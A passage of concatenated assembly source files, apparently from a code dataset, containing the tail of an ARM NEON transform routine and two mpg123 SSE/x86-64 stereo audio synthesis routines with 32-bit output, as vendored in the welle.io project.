fsub v19.4s, v22.4s, v23.4s
fadd v0.4s, v4.4s, v5.4s /* bs[32,33,36,37] */
fadd v1.4s, v6.4s, v7.4s /* bs[40,41,44,45] */
fadd v2.4s, v20.4s, v21.4s /* bs[48,49,52,53] */
fadd v3.4s, v22.4s, v23.4s /* bs[56,57,60,61] */
fmul v16.4s, v16.4s, v29.4s /* bs[35,34,39,38] */
fmul v17.4s, v17.4s, v29.4s /* bs[43,42,47,46] */
fmul v18.4s, v18.4s, v29.4s /* bs[51,50,55,54] */
fmul v19.4s, v19.4s, v29.4s /* bs[59,58,63,62] */
uzp1 v4.4s, v0.4s, v16.4s /* bs[32,36,35,39] */
uzp2 v5.4s, v0.4s, v16.4s /* bs[33,37,34,38] */
uzp1 v6.4s, v1.4s, v17.4s /* bs[40,44,43,47] */
uzp2 v7.4s, v1.4s, v17.4s /* bs[41,45,42,46] */
uzp1 v20.4s, v2.4s, v18.4s /* bs[48,52,51,55] */
uzp2 v21.4s, v2.4s, v18.4s /* bs[49,53,50,54] */
uzp1 v22.4s, v3.4s, v19.4s /* bs[56,60,59,63] */
uzp2 v23.4s, v3.4s, v19.4s /* bs[57,61,58,62] */
fsub v16.4s, v4.4s, v5.4s
fsub v17.4s, v6.4s, v7.4s
fsub v18.4s, v20.4s, v21.4s
fsub v19.4s, v22.4s, v23.4s
fadd v0.4s, v4.4s, v5.4s /* bs[0,4,2,6] */
fadd v1.4s, v6.4s, v7.4s /* bs[8,12,10,14] */
fadd v2.4s, v20.4s, v21.4s /* bs[16,20,18,22] */
fadd v3.4s, v22.4s, v23.4s /* bs[24,28,26,30] */
fmul v16.4s, v16.4s, v28.4s /* bs[1,5,3,7] */
fmul v17.4s, v17.4s, v28.4s /* bs[9,13,11,15] */
fmul v18.4s, v18.4s, v28.4s /* bs[17,21,19,23] */
fmul v19.4s, v19.4s, v28.4s /* bs[25,29,27,31] */
zip2 v4.2d, v0.2d, v1.2d /* bs[2,6,10,14] */
zip2 v5.2d, v16.2d, v17.2d /* bs[3,7,11,15] */
zip2 v6.2d, v2.2d, v3.2d /* bs[18,22,26,30] */
zip2 v7.2d, v18.2d, v19.2d /* bs[19,23,27,31] */
fadd v4.4s, v4.4s, v5.4s /* bs[2,6,10,14] */
fadd v6.4s, v6.4s, v7.4s /* bs[18,22,26,30] */
ins v0.d[1], v4.d[0] /* bs[0,4,2,6] */
ins v1.d[1], v4.d[1] /* bs[8,12,10,14] */
ins v2.d[1], v6.d[0] /* bs[16,20,18,22] */
ins v3.d[1], v6.d[1] /* bs[24,28,26,30] */
eor v31.16b, v31.16b, v31.16b
zip1 v4.4s, v0.4s, v16.4s /* bs[0,1,4,5] */
zip2 v5.4s, v0.4s, v16.4s /* bs[2,3,6,7] */
zip1 v6.4s, v1.4s, v17.4s /* bs[8,9,12,13] */
zip2 v7.4s, v1.4s, v17.4s /* bs[10,11,14,15] */
zip1 v20.4s, v2.4s, v18.4s /* bs[16,17,20,21] */
zip2 v21.4s, v2.4s, v18.4s /* bs[18,19,22,23] */
zip1 v22.4s, v3.4s, v19.4s /* bs[24,25,28,29] */
zip2 v23.4s, v3.4s, v19.4s /* bs[26,27,30,31] */
zip1 v0.2d, v4.2d, v5.2d /* bs[0,1,2,3] */
zip2 v1.2d, v4.2d, v5.2d /* bs[4,5,6,7] */
zip1 v2.2d, v6.2d, v7.2d /* bs[8,9,10,11] */
zip2 v3.2d, v6.2d, v7.2d /* bs[12,13,14,15] */
rev64 v16.4s, v4.4s
rev64 v17.4s, v6.4s
zip1 v24.2d, v7.2d, v17.2d
zip2 v16.2d, v5.2d, v16.2d
zip2 v17.2d, v7.2d, v17.2d
zip1 v4.2d, v20.2d, v21.2d /* bs[16,17,18,19] */
zip2 v5.2d, v20.2d, v21.2d /* bs[20,21,22,23] */
zip1 v6.2d, v22.2d, v23.2d /* bs[24,25,26,27] */
zip2 v7.2d, v22.2d, v23.2d /* bs[28,29,30,31] */
rev64 v18.4s, v20.4s
rev64 v19.4s, v22.4s
zip1 v25.2d, v23.2d, v19.2d
zip1 v26.2d, v21.2d, v18.2d
zip2 v18.2d, v21.2d, v18.2d
zip2 v19.2d, v23.2d, v19.2d
ins v16.s[3], v31.s[0] /* bs[6,7,5,-] */
ins v17.s[3], v31.s[0] /* bs[14,15,13,-] */
ins v18.s[3], v31.s[0] /* bs[22,23,21,-] */
ins v19.s[3], v31.s[0] /* bs[30,31,29,-] */
ins v24.s[3], v31.s[0] /* bs[10,11,9,-] */
ins v25.s[3], v31.s[0] /* bs[26,27,25,-] */
ins v26.s[3], v31.s[0] /* bs[18,19,17,-] */
fadd v1.4s, v1.4s, v16.4s
fadd v3.4s, v3.4s, v17.4s
fadd v5.4s, v5.4s, v18.4s
fadd v7.4s, v7.4s, v19.4s
fadd v2.4s, v2.4s, v3.4s
fadd v3.4s, v3.4s, v24.4s
fadd v6.4s, v6.4s, v7.4s
fadd v7.4s, v7.4s, v25.4s
fadd v4.4s, v4.4s, v6.4s
fadd v6.4s, v6.4s, v5.4s
fadd v5.4s, v5.4s, v7.4s
fadd v7.4s, v7.4s, v26.4s
fcvtns v0.4s, v0.4s
fcvtns v1.4s, v1.4s
fcvtns v2.4s, v2.4s
fcvtns v3.4s, v3.4s
fcvtns v4.4s, v4.4s
fcvtns v5.4s, v5.4s
fcvtns v6.4s, v6.4s
fcvtns v7.4s, v7.4s
sqxtn v0.4h, v0.4s
sqxtn v1.4h, v1.4s
sqxtn v2.4h, v2.4s
sqxtn v3.4h, v3.4s
sqxtn v4.4h, v4.4s
sqxtn v5.4h, v5.4s
sqxtn v6.4h, v6.4s
sqxtn v7.4h, v7.4s
mov x3, #32
st1 {v0.h}[1], [x0], x3
st1 {v7.h}[2], [x0], x3
st1 {v3.h}[2], [x0], x3
st1 {v5.h}[2], [x0], x3
st1 {v1.h}[2], [x0], x3
st1 {v6.h}[2], [x0], x3
st1 {v2.h}[2], [x0], x3
st1 {v4.h}[2], [x0], x3
st1 {v0.h}[2], [x0], x3
st1 {v7.h}[0], [x0], x3
st1 {v3.h}[0], [x0], x3
st1 {v5.h}[0], [x0], x3
st1 {v1.h}[0], [x0], x3
st1 {v6.h}[0], [x0], x3
st1 {v2.h}[0], [x0], x3
st1 {v4.h}[0], [x0], x3
st1 {v0.h}[0], [x0]
st1 {v0.h}[1], [x1], x3
st1 {v4.h}[1], [x1], x3
st1 {v2.h}[1], [x1], x3
st1 {v6.h}[1], [x1], x3
st1 {v1.h}[1], [x1], x3
st1 {v5.h}[1], [x1], x3
st1 {v3.h}[1], [x1], x3
st1 {v7.h}[1], [x1], x3
st1 {v0.h}[3], [x1], x3
st1 {v4.h}[3], [x1], x3
st1 {v2.h}[3], [x1], x3
st1 {v6.h}[3], [x1], x3
st1 {v1.h}[3], [x1], x3
st1 {v5.h}[3], [x1], x3
st1 {v3.h}[3], [x1], x3
st1 {v7.h}[3], [x1]
ret
NONEXEC_STACK
|
AlbrechtL/welle.io | 11,302 | src/libs/mpg123/synth_stereo_sse_s32.S | /*
synth_stereo_sse_s32: SSE optimized synth (stereo specific, s32 output version)
copyright 1995-2009 by the mpg123 project - free software under the terms of the LGPL 2.1
see COPYING and AUTHORS files in distribution or http://mpg123.org
initially written by Taihei Monma
*/
#include "mangle.h"
/* real *window; */
#define WINDOW %ebx
/* real *b0l; */
#define B0L %edx
/* real *b0r; */
#define B0R %esi
/* real *samples; */
#define SAMPLES %edi
#define TEMP(n) (12+16*n)(%esp)
#define MMREG_CLIP %mm7
/*
int synth_1to1_s32_s_sse_asm(real *window, real *b0l, real *b0r, int32_t *samples, int bo1);
return value: number of clipped samples
*/
#ifndef __APPLE__
.section .rodata
#else
.data
#endif
ALIGN32
scale_s32:
.long 1199570944 /* 65536.0 */
.long 1199570944
.long 1199570944
.long 1199570944
ALIGN16
maxmin_s32:
.long 1191182335 /* 32767.999 */
.long 1191182335
.long 1191182335
.long 1191182335
.long -956301312 /* -32768.0 */
.long -956301312
.long -956301312
.long -956301312
.text
ALIGN16
.globl ASM_NAME(synth_1to1_s32_s_sse_asm)
ASM_NAME(synth_1to1_s32_s_sse_asm):
pushl %ebp
movl %esp, %ebp
andl $-16, %esp
subl $128, %esp
pushl %ebx
pushl %esi
pushl %edi
pxor MMREG_CLIP, MMREG_CLIP
movl 8(%ebp), WINDOW
movl 12(%ebp), B0L
movl 16(%ebp), B0R
movl 20(%ebp), SAMPLES
movl 24(%ebp), %eax
shll $2, %eax
leal 64(WINDOW), WINDOW
subl %eax, WINDOW
#undef _EBX_
#define _EBX_ %eax
GET_GOT
movl $4, %ecx
ALIGN16
1:
movups (WINDOW), %xmm0
movups 16(WINDOW), %xmm1
movups 32(WINDOW), %xmm2
movups 48(WINDOW), %xmm3
movaps %xmm0, %xmm4
movaps %xmm1, %xmm5
movaps %xmm2, %xmm6
movaps %xmm3, %xmm7
mulps 0(B0L), %xmm0
mulps 16(B0L), %xmm1
mulps 32(B0L), %xmm2
mulps 48(B0L), %xmm3
mulps 0(B0R), %xmm4
mulps 16(B0R), %xmm5
mulps 32(B0R), %xmm6
mulps 48(B0R), %xmm7
addps %xmm1, %xmm0
addps %xmm3, %xmm2
addps %xmm5, %xmm4
addps %xmm7, %xmm6
addps %xmm2, %xmm0
addps %xmm6, %xmm4
movaps %xmm0, TEMP(0)
movaps %xmm4, TEMP(4)
leal 128(WINDOW), WINDOW
leal 64(B0L), B0L
leal 64(B0R), B0R
movups (WINDOW), %xmm0
movups 16(WINDOW), %xmm1
movups 32(WINDOW), %xmm2
movups 48(WINDOW), %xmm3
movaps %xmm0, %xmm4
movaps %xmm1, %xmm5
movaps %xmm2, %xmm6
movaps %xmm3, %xmm7
mulps 0(B0L), %xmm0
mulps 16(B0L), %xmm1
mulps 32(B0L), %xmm2
mulps 48(B0L), %xmm3
mulps 0(B0R), %xmm4
mulps 16(B0R), %xmm5
mulps 32(B0R), %xmm6
mulps 48(B0R), %xmm7
addps %xmm1, %xmm0
addps %xmm3, %xmm2
addps %xmm5, %xmm4
addps %xmm7, %xmm6
addps %xmm2, %xmm0
addps %xmm6, %xmm4
movaps %xmm0, TEMP(1)
movaps %xmm4, TEMP(5)
leal 128(WINDOW), WINDOW
leal 64(B0L), B0L
leal 64(B0R), B0R
movups (WINDOW), %xmm0
movups 16(WINDOW), %xmm1
movups 32(WINDOW), %xmm2
movups 48(WINDOW), %xmm3
movaps %xmm0, %xmm4
movaps %xmm1, %xmm5
movaps %xmm2, %xmm6
movaps %xmm3, %xmm7
mulps 0(B0L), %xmm0
mulps 16(B0L), %xmm1
mulps 32(B0L), %xmm2
mulps 48(B0L), %xmm3
mulps 0(B0R), %xmm4
mulps 16(B0R), %xmm5
mulps 32(B0R), %xmm6
mulps 48(B0R), %xmm7
addps %xmm1, %xmm0
addps %xmm3, %xmm2
addps %xmm5, %xmm4
addps %xmm7, %xmm6
addps %xmm2, %xmm0
addps %xmm6, %xmm4
movaps %xmm0, TEMP(2)
movaps %xmm4, TEMP(6)
leal 128(WINDOW), WINDOW
leal 64(B0L), B0L
leal 64(B0R), B0R
movups (WINDOW), %xmm0
movups 16(WINDOW), %xmm1
movups 32(WINDOW), %xmm2
movups 48(WINDOW), %xmm3
movaps %xmm0, %xmm4
movaps %xmm1, %xmm5
movaps %xmm2, %xmm6
movaps %xmm3, %xmm7
mulps 0(B0L), %xmm0
mulps 16(B0L), %xmm1
mulps 32(B0L), %xmm2
mulps 48(B0L), %xmm3
mulps 0(B0R), %xmm4
mulps 16(B0R), %xmm5
mulps 32(B0R), %xmm6
mulps 48(B0R), %xmm7
addps %xmm1, %xmm0
addps %xmm3, %xmm2
addps %xmm5, %xmm4
addps %xmm7, %xmm6
addps %xmm2, %xmm0
addps %xmm6, %xmm4
movaps %xmm0, %xmm7
movaps %xmm4, TEMP(7)
leal 128(WINDOW), WINDOW
leal 64(B0L), B0L
leal 64(B0R), B0R
movaps TEMP(0), %xmm4
movaps TEMP(1), %xmm5
movaps TEMP(2), %xmm6
movaps %xmm4, %xmm0
movaps %xmm6, %xmm1
unpcklps %xmm5, %xmm4
unpcklps %xmm7, %xmm6
unpckhps %xmm5, %xmm0
unpckhps %xmm7, %xmm1
movaps %xmm4, %xmm2
movaps %xmm0, %xmm3
movlhps %xmm6, %xmm4
movhlps %xmm2, %xmm6
movlhps %xmm1, %xmm0
movhlps %xmm3, %xmm1
subps %xmm6, %xmm4
subps %xmm1, %xmm0
addps %xmm4, %xmm0
movaps %xmm0, %xmm2
movaps TEMP(4), %xmm4
movaps TEMP(5), %xmm5
movaps TEMP(6), %xmm6
movaps TEMP(7), %xmm7
movaps %xmm4, %xmm0
movaps %xmm6, %xmm1
unpcklps %xmm5, %xmm4
unpcklps %xmm7, %xmm6
unpckhps %xmm5, %xmm0
unpckhps %xmm7, %xmm1
movaps %xmm2, %xmm5
movaps %xmm4, %xmm2
movaps %xmm0, %xmm3
movlhps %xmm6, %xmm4
movhlps %xmm2, %xmm6
movlhps %xmm1, %xmm0
movhlps %xmm3, %xmm1
subps %xmm6, %xmm4
subps %xmm1, %xmm0
addps %xmm4, %xmm0
movaps %xmm5, %xmm1
movaps %xmm5, %xmm2
movaps %xmm0, %xmm3
movaps %xmm0, %xmm4
mulps LOCAL_VAR(scale_s32), %xmm5
mulps LOCAL_VAR(scale_s32), %xmm0
cmpnleps LOCAL_VAR(maxmin_s32), %xmm1
cmpltps 16+LOCAL_VAR(maxmin_s32), %xmm2
cmpnleps LOCAL_VAR(maxmin_s32), %xmm3
cmpltps 16+LOCAL_VAR(maxmin_s32), %xmm4
cvtps2pi %xmm5, %mm0
cvtps2pi %xmm0, %mm1
cvtps2pi %xmm1, %mm2
cvtps2pi %xmm3, %mm3
psrad $31, %mm2
psrad $31, %mm3
pxor %mm2, %mm0
pxor %mm3, %mm1
movq %mm0, %mm4
punpckldq %mm1, %mm0
punpckhdq %mm1, %mm4
movq %mm0, (SAMPLES)
movq %mm4, 8(SAMPLES)
movhlps %xmm5, %xmm5
movhlps %xmm0, %xmm0
movhlps %xmm1, %xmm1
movhlps %xmm3, %xmm3
cvtps2pi %xmm5, %mm0
cvtps2pi %xmm0, %mm1
cvtps2pi %xmm1, %mm4
cvtps2pi %xmm3, %mm5
psrad $31, %mm4
psrad $31, %mm5
pxor %mm4, %mm0
pxor %mm5, %mm1
movq %mm0, %mm6
punpckldq %mm1, %mm0
punpckhdq %mm1, %mm6
movq %mm0, 16(SAMPLES)
movq %mm6, 24(SAMPLES)
packssdw %mm4, %mm2
packssdw %mm5, %mm3
psrlw $15, %mm2
psrlw $15, %mm3
cvtps2pi %xmm2, %mm0
cvtps2pi %xmm4, %mm1
movhlps %xmm2, %xmm2
movhlps %xmm4, %xmm4
cvtps2pi %xmm2, %mm4
cvtps2pi %xmm4, %mm5
packssdw %mm4, %mm0
packssdw %mm5, %mm1
psrlw $15, %mm0
psrlw $15, %mm1
paddw %mm3, %mm2
paddw %mm1, %mm0
paddw %mm2, %mm0
paddw %mm0, MMREG_CLIP
leal 32(SAMPLES), SAMPLES
decl %ecx
jnz 1b
movl $4, %ecx
ALIGN16
1:
movups (WINDOW), %xmm0
movups 16(WINDOW), %xmm1
movups 32(WINDOW), %xmm2
movups 48(WINDOW), %xmm3
movaps %xmm0, %xmm4
movaps %xmm1, %xmm5
movaps %xmm2, %xmm6
movaps %xmm3, %xmm7
mulps 0(B0L), %xmm0
mulps 16(B0L), %xmm1
mulps 32(B0L), %xmm2
mulps 48(B0L), %xmm3
mulps 0(B0R), %xmm4
mulps 16(B0R), %xmm5
mulps 32(B0R), %xmm6
mulps 48(B0R), %xmm7
addps %xmm1, %xmm0
addps %xmm3, %xmm2
addps %xmm5, %xmm4
addps %xmm7, %xmm6
addps %xmm2, %xmm0
addps %xmm6, %xmm4
movaps %xmm0, TEMP(0)
movaps %xmm4, TEMP(4)
leal 128(WINDOW), WINDOW
leal -64(B0L), B0L
leal -64(B0R), B0R
movups (WINDOW), %xmm0
movups 16(WINDOW), %xmm1
movups 32(WINDOW), %xmm2
movups 48(WINDOW), %xmm3
movaps %xmm0, %xmm4
movaps %xmm1, %xmm5
movaps %xmm2, %xmm6
movaps %xmm3, %xmm7
mulps 0(B0L), %xmm0
mulps 16(B0L), %xmm1
mulps 32(B0L), %xmm2
mulps 48(B0L), %xmm3
mulps 0(B0R), %xmm4
mulps 16(B0R), %xmm5
mulps 32(B0R), %xmm6
mulps 48(B0R), %xmm7
addps %xmm1, %xmm0
addps %xmm3, %xmm2
addps %xmm5, %xmm4
addps %xmm7, %xmm6
addps %xmm2, %xmm0
addps %xmm6, %xmm4
movaps %xmm0, TEMP(1)
movaps %xmm4, TEMP(5)
leal 128(WINDOW), WINDOW
leal -64(B0L), B0L
leal -64(B0R), B0R
movups (WINDOW), %xmm0
movups 16(WINDOW), %xmm1
movups 32(WINDOW), %xmm2
movups 48(WINDOW), %xmm3
movaps %xmm0, %xmm4
movaps %xmm1, %xmm5
movaps %xmm2, %xmm6
movaps %xmm3, %xmm7
mulps 0(B0L), %xmm0
mulps 16(B0L), %xmm1
mulps 32(B0L), %xmm2
mulps 48(B0L), %xmm3
mulps 0(B0R), %xmm4
mulps 16(B0R), %xmm5
mulps 32(B0R), %xmm6
mulps 48(B0R), %xmm7
addps %xmm1, %xmm0
addps %xmm3, %xmm2
addps %xmm5, %xmm4
addps %xmm7, %xmm6
addps %xmm2, %xmm0
addps %xmm6, %xmm4
movaps %xmm0, TEMP(2)
movaps %xmm4, TEMP(6)
leal 128(WINDOW), WINDOW
leal -64(B0L), B0L
leal -64(B0R), B0R
movups (WINDOW), %xmm0
movups 16(WINDOW), %xmm1
movups 32(WINDOW), %xmm2
movups 48(WINDOW), %xmm3
movaps %xmm0, %xmm4
movaps %xmm1, %xmm5
movaps %xmm2, %xmm6
movaps %xmm3, %xmm7
mulps 0(B0L), %xmm0
mulps 16(B0L), %xmm1
mulps 32(B0L), %xmm2
mulps 48(B0L), %xmm3
mulps 0(B0R), %xmm4
mulps 16(B0R), %xmm5
mulps 32(B0R), %xmm6
mulps 48(B0R), %xmm7
addps %xmm1, %xmm0
addps %xmm3, %xmm2
addps %xmm5, %xmm4
addps %xmm7, %xmm6
addps %xmm2, %xmm0
addps %xmm6, %xmm4
movaps %xmm0, %xmm7
movaps %xmm4, TEMP(7)
leal 128(WINDOW), WINDOW
leal -64(B0L), B0L
leal -64(B0R), B0R
movaps TEMP(0), %xmm4
movaps TEMP(1), %xmm5
movaps TEMP(2), %xmm6
movaps %xmm4, %xmm0
movaps %xmm6, %xmm1
unpcklps %xmm5, %xmm4
unpcklps %xmm7, %xmm6
unpckhps %xmm5, %xmm0
unpckhps %xmm7, %xmm1
movaps %xmm4, %xmm2
movaps %xmm0, %xmm3
movlhps %xmm6, %xmm4
movhlps %xmm2, %xmm6
movlhps %xmm1, %xmm0
movhlps %xmm3, %xmm1
addps %xmm6, %xmm4
addps %xmm1, %xmm0
addps %xmm4, %xmm0
movaps %xmm0, %xmm2
movaps TEMP(4), %xmm4
movaps TEMP(5), %xmm5
movaps TEMP(6), %xmm6
movaps TEMP(7), %xmm7
movaps %xmm4, %xmm0
movaps %xmm6, %xmm1
unpcklps %xmm5, %xmm4
unpcklps %xmm7, %xmm6
unpckhps %xmm5, %xmm0
unpckhps %xmm7, %xmm1
movaps %xmm2, %xmm5
movaps %xmm4, %xmm2
movaps %xmm0, %xmm3
movlhps %xmm6, %xmm4
movhlps %xmm2, %xmm6
movlhps %xmm1, %xmm0
movhlps %xmm3, %xmm1
addps %xmm6, %xmm4
addps %xmm1, %xmm0
addps %xmm4, %xmm0
movaps %xmm5, %xmm1
movaps %xmm5, %xmm2
movaps %xmm0, %xmm3
movaps %xmm0, %xmm4
mulps LOCAL_VAR(scale_s32), %xmm5
mulps LOCAL_VAR(scale_s32), %xmm0
cmpnleps LOCAL_VAR(maxmin_s32), %xmm1
cmpltps 16+LOCAL_VAR(maxmin_s32), %xmm2
cmpnleps LOCAL_VAR(maxmin_s32), %xmm3
cmpltps 16+LOCAL_VAR(maxmin_s32), %xmm4
cvtps2pi %xmm5, %mm0
cvtps2pi %xmm0, %mm1
cvtps2pi %xmm1, %mm2
cvtps2pi %xmm3, %mm3
psrad $31, %mm2
psrad $31, %mm3
pxor %mm2, %mm0
pxor %mm3, %mm1
movq %mm0, %mm4
punpckldq %mm1, %mm0
punpckhdq %mm1, %mm4
movq %mm0, (SAMPLES)
movq %mm4, 8(SAMPLES)
movhlps %xmm5, %xmm5
movhlps %xmm0, %xmm0
movhlps %xmm1, %xmm1
movhlps %xmm3, %xmm3
cvtps2pi %xmm5, %mm0
cvtps2pi %xmm0, %mm1
cvtps2pi %xmm1, %mm4
cvtps2pi %xmm3, %mm5
psrad $31, %mm4
psrad $31, %mm5
pxor %mm4, %mm0
pxor %mm5, %mm1
movq %mm0, %mm6
punpckldq %mm1, %mm0
punpckhdq %mm1, %mm6
movq %mm0, 16(SAMPLES)
movq %mm6, 24(SAMPLES)
packssdw %mm4, %mm2
packssdw %mm5, %mm3
psrlw $15, %mm2
psrlw $15, %mm3
cvtps2pi %xmm2, %mm0
cvtps2pi %xmm4, %mm1
movhlps %xmm2, %xmm2
movhlps %xmm4, %xmm4
cvtps2pi %xmm2, %mm4
cvtps2pi %xmm4, %mm5
packssdw %mm4, %mm0
packssdw %mm5, %mm1
psrlw $15, %mm0
psrlw $15, %mm1
paddw %mm3, %mm2
paddw %mm1, %mm0
paddw %mm2, %mm0
paddw %mm0, MMREG_CLIP
leal 32(SAMPLES), SAMPLES
decl %ecx
jnz 1b
pshufw $0xee, MMREG_CLIP, %mm0
paddw MMREG_CLIP, %mm0
pshufw $0x55, %mm0, %mm1
paddw %mm1, %mm0
movd %mm0, %eax
andl $0xffff, %eax
popl %edi
popl %esi
popl %ebx
movl %ebp, %esp
popl %ebp
emms
ret
NONEXEC_STACK
|
AlbrechtL/welle.io | 10,409 | src/libs/mpg123/synth_stereo_x86_64_s32.S | /*
synth_stereo_x86_64_s32: SSE optimized synth for x86-64 (stereo specific, s32 output version)
copyright 1995-2009 by the mpg123 project - free software under the terms of the LGPL 2.1
see COPYING and AUTHORS files in distribution or http://mpg123.org
initially written by Taihei Monma
*/
#include "mangle.h"
#ifdef IS_MSABI
/* short *window; */
#define WINDOW %rsi
/* short *b0l; */
#define B0L %rdx
/* short *b0r; */
#define B0R %r8
/* short *samples; */
#define SAMPLES %rdi
#else
/* real *window; */
#define WINDOW %rdi
/* real *b0l; */
#define B0L %rsi
/* real *b0r; */
#define B0R %rdx
/* real *samples; */
#define SAMPLES %r8
#endif
#define XMMREG_SCALE (%r9) /* {65536.0, 65536.0, 65536.0, 65536.0} */
#define XMMREG_MAX (%r10) /* {32767.999, 32767.999, 32767.999, 32767.999} */
#define XMMREG_MIN (%r11) /* {-32768.0, -32768.0, -32768.0, -32768.0} */
#define TEMP_CLIP (%rsp)
/*
int synth_1to1_s32_s_x86_64_asm(real *window, real *b0l, real *b0r, int32_t *samples, int bo1);
return value: number of clipped samples
*/
#ifndef __APPLE__
.section .rodata
#else
.data
#endif
ALIGN32
ASM_NAME(scale_s32):
.long 1199570944
.long 1199570944
.long 1199570944
.long 1199570944
ALIGN16
ASM_NAME(maxmin_s32):
.long 1191182335
.long 1191182335
.long 1191182335
.long 1191182335
.long -956301312
.long -956301312
.long -956301312
.long -956301312
.text
ALIGN16
.globl ASM_NAME(synth_1to1_s32_s_x86_64_asm)
ASM_NAME(synth_1to1_s32_s_x86_64_asm):
#ifdef IS_MSABI /* should save xmm6-15 */
movl 40(%rsp), %eax /* 5th argument; placed after 32-byte shadow space */
pushq %rsi
pushq %rdi
subq $184, %rsp /* stack alignment + 10 xmm registers + temp */
movaps %xmm6, 16(%rsp)
movaps %xmm7, 32(%rsp)
movaps %xmm8, 48(%rsp)
movaps %xmm9, 64(%rsp)
movaps %xmm10, 80(%rsp)
movaps %xmm11, 96(%rsp)
movaps %xmm12, 112(%rsp)
movaps %xmm13, 128(%rsp)
movaps %xmm14, 144(%rsp)
movaps %xmm15, 160(%rsp)
#else
subq $24, %rsp /* stack alignment + temp */
#endif
#ifdef IS_MSABI
shlq $32, %rax
shrq $30, %rax
movq %rcx, %rsi
movq %r9, %rdi
#else
movq %r8, %rax
shlq $32, %rax
shrq $30, %rax
movq %rcx, %r8
#endif
leaq 64(WINDOW), WINDOW
subq %rax, WINDOW
leaq ASM_NAME(scale_s32)(%rip), %r9
leaq ASM_NAME(maxmin_s32)(%rip), %r10
leaq 16(%r10), %r11
xorps %xmm0, %xmm0
movaps %xmm0, TEMP_CLIP
movl $4, %ecx
ALIGN16
1:
movups (WINDOW), %xmm8
movups 16(WINDOW), %xmm1
movups 32(WINDOW), %xmm2
movups 48(WINDOW), %xmm3
movups 128(WINDOW), %xmm9
movups 144(WINDOW), %xmm5
movups 160(WINDOW), %xmm6
movups 176(WINDOW), %xmm7
movaps %xmm8, %xmm0
movaps %xmm1, %xmm4
movaps %xmm2, %xmm10
movaps %xmm3, %xmm11
movaps %xmm9, %xmm12
movaps %xmm5, %xmm13
movaps %xmm6, %xmm14
movaps %xmm7, %xmm15
mulps (B0L), %xmm8
mulps 16(B0L), %xmm1
mulps 32(B0L), %xmm2
mulps 48(B0L), %xmm3
mulps 64(B0L), %xmm9
mulps 80(B0L), %xmm5
mulps 96(B0L), %xmm6
mulps 112(B0L), %xmm7
mulps (B0R), %xmm0
mulps 16(B0R), %xmm4
mulps 32(B0R), %xmm10
mulps 48(B0R), %xmm11
mulps 64(B0R), %xmm12
mulps 80(B0R), %xmm13
mulps 96(B0R), %xmm14
mulps 112(B0R), %xmm15
addps %xmm1, %xmm8
addps %xmm2, %xmm3
addps %xmm4, %xmm0
addps %xmm11, %xmm10
addps %xmm5, %xmm9
addps %xmm7, %xmm6
addps %xmm13, %xmm12
addps %xmm15, %xmm14
addps %xmm3, %xmm8
addps %xmm6, %xmm9
addps %xmm10, %xmm0
addps %xmm12, %xmm14
movaps %xmm0, %xmm12
movaps %xmm14, %xmm13
leaq 256(WINDOW), WINDOW
leaq 128(B0L), B0L
leaq 128(B0R), B0R
movups (WINDOW), %xmm10
movups 16(WINDOW), %xmm1
movups 32(WINDOW), %xmm2
movups 48(WINDOW), %xmm3
movups 128(WINDOW), %xmm11
movups 144(WINDOW), %xmm5
movups 160(WINDOW), %xmm6
movups 176(WINDOW), %xmm7
movaps %xmm10, %xmm0
movaps %xmm1, %xmm4
movaps %xmm2, %xmm14
movaps %xmm3, %xmm15
mulps (B0L), %xmm10
mulps 16(B0L), %xmm1
mulps 32(B0L), %xmm2
mulps 48(B0L), %xmm3
mulps (B0R), %xmm0
mulps 16(B0R), %xmm4
mulps 32(B0R), %xmm14
mulps 48(B0R), %xmm15
addps %xmm1, %xmm10
addps %xmm2, %xmm3
addps %xmm4, %xmm0
addps %xmm15, %xmm14
movaps %xmm11, %xmm1
movaps %xmm5, %xmm2
movaps %xmm6, %xmm4
movaps %xmm7, %xmm15
mulps 64(B0L), %xmm11
mulps 80(B0L), %xmm5
mulps 96(B0L), %xmm6
mulps 112(B0L), %xmm7
mulps 64(B0R), %xmm1
mulps 80(B0R), %xmm2
mulps 96(B0R), %xmm4
mulps 112(B0R), %xmm15
addps %xmm5, %xmm11
addps %xmm7, %xmm6
addps %xmm2, %xmm1
addps %xmm15, %xmm4
addps %xmm3, %xmm10
addps %xmm6, %xmm11
addps %xmm0, %xmm14
addps %xmm4, %xmm1
movaps %xmm1, %xmm15
leaq 256(WINDOW), WINDOW
leaq 128(B0L), B0L
leaq 128(B0R), B0R
movaps %xmm8, %xmm0
movaps %xmm10, %xmm1
movaps %xmm12, %xmm4
movaps %xmm14, %xmm5
unpcklps %xmm9, %xmm8
unpcklps %xmm11, %xmm10
unpckhps %xmm9, %xmm0
unpckhps %xmm11, %xmm1
unpcklps %xmm13, %xmm12
unpcklps %xmm15, %xmm14
unpckhps %xmm13, %xmm4
unpckhps %xmm15, %xmm5
movaps %xmm8, %xmm2
movaps %xmm0, %xmm3
movaps %xmm12, %xmm6
movaps %xmm4, %xmm7
movlhps %xmm10, %xmm8
movhlps %xmm2, %xmm10
movlhps %xmm1, %xmm0
movhlps %xmm3, %xmm1
movlhps %xmm14, %xmm12
movhlps %xmm6, %xmm14
movlhps %xmm5, %xmm4
movhlps %xmm7, %xmm5
subps %xmm10, %xmm8
subps %xmm1, %xmm0
subps %xmm14, %xmm12
subps %xmm5, %xmm4
addps %xmm8, %xmm0
addps %xmm12, %xmm4
movaps %xmm0, %xmm2
movaps %xmm0, %xmm3
movaps %xmm4, %xmm5
movaps %xmm4, %xmm6
mulps XMMREG_SCALE, %xmm0
mulps XMMREG_SCALE, %xmm4
cmpnleps XMMREG_MAX, %xmm2
cmpltps XMMREG_MIN, %xmm3
cmpnleps XMMREG_MAX, %xmm5
cmpltps XMMREG_MIN, %xmm6
cvtps2dq %xmm0, %xmm0
cvtps2dq %xmm4, %xmm4
xorps %xmm2, %xmm0
xorps %xmm5, %xmm4
movaps %xmm0, %xmm1
unpcklps %xmm4, %xmm0
unpckhps %xmm4, %xmm1
movups %xmm0, (SAMPLES)
movups %xmm1, 16(SAMPLES)
packssdw %xmm5, %xmm2
packssdw %xmm6, %xmm3
psrlw $15, %xmm2
psrlw $15, %xmm3
paddw %xmm3, %xmm2
paddw TEMP_CLIP, %xmm2
movaps %xmm2, TEMP_CLIP
leaq 32(SAMPLES), SAMPLES
decl %ecx
jnz 1b
movl $4, %ecx
ALIGN16
1:
movups (WINDOW), %xmm8
movups 16(WINDOW), %xmm1
movups 32(WINDOW), %xmm2
movups 48(WINDOW), %xmm3
movups 128(WINDOW), %xmm9
movups 144(WINDOW), %xmm5
